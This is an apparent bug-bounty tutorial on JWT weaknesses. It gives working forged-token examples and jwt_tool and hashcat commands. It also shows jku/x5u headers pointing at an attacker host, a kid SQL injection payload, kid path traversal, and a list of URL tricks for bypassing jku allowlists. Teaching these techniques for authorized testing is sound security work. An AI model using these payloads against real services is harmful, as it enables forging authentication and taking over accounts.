Intermediate levelFree

JWT — vulnerabilities, bypasses and claim manipulation

alg=none, RS256→HS256 confusion, kid SQLi/path traversal, jku spoofing, secret cracking with hashcat. How to hunt poorly verified JWTs.

Gorka El BochiMay 9, 202613 min

Quick answer

JWTs (JSON Web Tokens) are signed strings containing claims (user id, role, exp...). If the signature is verified poorly or the algorithm is accepted without restrictions, the attacker can forge tokens. The most exploited classes: alg=none, RS256→HS256 confusion, hashcat-crackable secret, and manipulation of the kid/jku/jwk headers when the server trusts client-controlled values.


Anatomy of a JWT

css
header.payload.signature

Each part is base64url. Decoded example:

json
// Header
{ "alg": "HS256", "typ": "JWT" }

// Payload (claims)
{ "sub": "123", "user": "alice", "role": "user", "exp": 1735689600 }

Only the signature guarantees integrity. If the server doesn't verify it correctly, the attacker modifies payload.role to admin and sends the resulting token.


Classic vulns

1. alg=none (CVE-2015-9235)

Change the header to {"alg":"none"} and remove the signature:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

Variants some backends accept: none, None, NONE, nOnE, NoNe. Try them all.

2. RS256 → HS256 confusion (CVE-2016-5431)

The server uses RS256 (asymmetric). If you change alg to HS256 (symmetric) and sign with the RSA public key used as the HMAC secret, some poorly implemented backends verify with the same public key → bypass.

bash
# Obtener clave pública del servidor
openssl s_client -connect target.tld:443 | openssl x509 -pubkey -noout > pubkey.pem

# Forge token con jwt_tool
python3 jwt_tool.py <JWT> -X k -pk pubkey.pem

3. Crackable secret

HS256 JWTs with weak secrets:

bash
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

If you crack the secret, you sign arbitrary tokens. Succeeds in apps with secret = "secret", "jwt_secret", product names, etc.

4. Modify the payload without invalidating the signature

If the server decodes the payload but doesn't verify the signature (poorly implemented), simply change the payload and send. Quick test: change role to admin and one random character in the signature; does it pass?

5. Header injection (jwk, jku, x5u)

Headers that point to the key or the key URL. If the server respects them without an allowlist:

json
// jwk: clave pública embebida
{ "alg": "RS256", "jwk": { "kty": "RSA", "n": "<tu_n>", "e": "AQAB" } }

// jku: URL de JWKS
{ "alg": "RS256", "jku": "https://attacker.tld/.well-known/jwks.json" }

// x5u: URL de certificado X.509
{ "alg": "RS256", "x5u": "https://attacker.tld/cert.pem" }

The attacker hosts the JWKS/cert with their public key and signs with their private key. If the server trusts it → total forge.


kid header bypasses

kid (Key ID) usually identifies which key to use. If it's injected into SQL or the filesystem:

kid + SQLi

json
{ "alg": "HS256", "kid": "key1' UNION SELECT 'ATTACKER_CONTROLLED_SECRET' -- " }

If the backend does SELECT secret FROM keys WHERE id='<kid>', the injection returns a controlled secret. Sign the token with that secret.

kid + Directory Traversal

json
{ "alg": "HS256", "kid": "../../../dev/null" }

If the backend reads a filesystem file as the secret, reading /dev/null (empty) → sign with an empty string. Also try files with known content.


JKU URL bypasses

If the server validates the jku partially (allowlist by contains/startsWith instead of URL parsing), try:

bash
https://target.tld/.well-known/jwks.json   ← original
https://target.tld@attacker.tld/jwks.json
https://target.tld.attacker.tld/jwks.json
https://attacker.tld/target.tld/jwks.json
https://target.tld#attacker.tld/jwks.json
https://target.tld/.well-known/jwks.json?redirect=attacker.tld

Same bypasses as open redirect. Reusable almost 1:1.


Misc

Expiration abuse

makefile
exp: futuro lejano (3000-01-01)        → ¿se valida server-side?
exp: removed                            → ¿el token nunca expira?
nbf: pasado                             → activo desde antes

If the server doesn't validate exp, the token is eternal even if the app sets one.

Cross-Service Relay

If multiple microservices share the same signing key, a token issued by service A is valid on service B. Look for:

  • Microservices that authenticate to each other with JWT.
  • Staging environments that use the same key as prod.
  • Internal APIs that accept tokens from the public frontend.

Sensitive data in the payload

bash
echo "<JWT_PAYLOAD_BASE64>" | base64 -d | jq .

Look for: passwords, API keys, PII, internal IPs, hidden roles, secrets. The payload is NOT encrypted, only encoded.

Hardcoded tokens in code

  • API documentation.
  • Frontend JS bundle (search eyJ, the prefix of most JWTs).
  • Public GitHub (regex hunting).
  • Swagger / OpenAPI specs with examples.

Tooling

jwt_tool.py automates almost everything:

bash
# All Tests mode (probar varios bypasses)
python3 jwt_tool.py <JWT_TOKEN> -M at -t "https://target.tld/api/endpoint" -rh "Authorization: Bearer"

# Tamper mode (modificar claims interactively)
python3 jwt_tool.py <JWT_TOKEN> -T

# Specific exploit (none, kid, jku, etc)
python3 jwt_tool.py <JWT_TOKEN> -X <exploit>

Burp + the JWT Editor extension to manipulate tokens in each request.


Hunting checklist

  • Is the token accepted with alg=none (all variants)?
  • Is the HMAC secret cracked with rockyou + best64?
  • Does RS256 → HS256 confusion work?
  • Are jwk/jku/x5u accepted pointing to an external domain?
  • Is kid used in a SQL query or filesystem read?
  • Can the payload be modified without invalidating the signature?
  • Is exp validated server-side, or only looked at on the client?
  • Is there PII or secrets in the payload?
  • Is the token valid on other services/environments?
  • Are there example tokens in docs/JS/GitHub?

Practice alg=none, secret cracking and header injection on real JWTs: JWT labs.

Practice this in a lab

Jwt

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy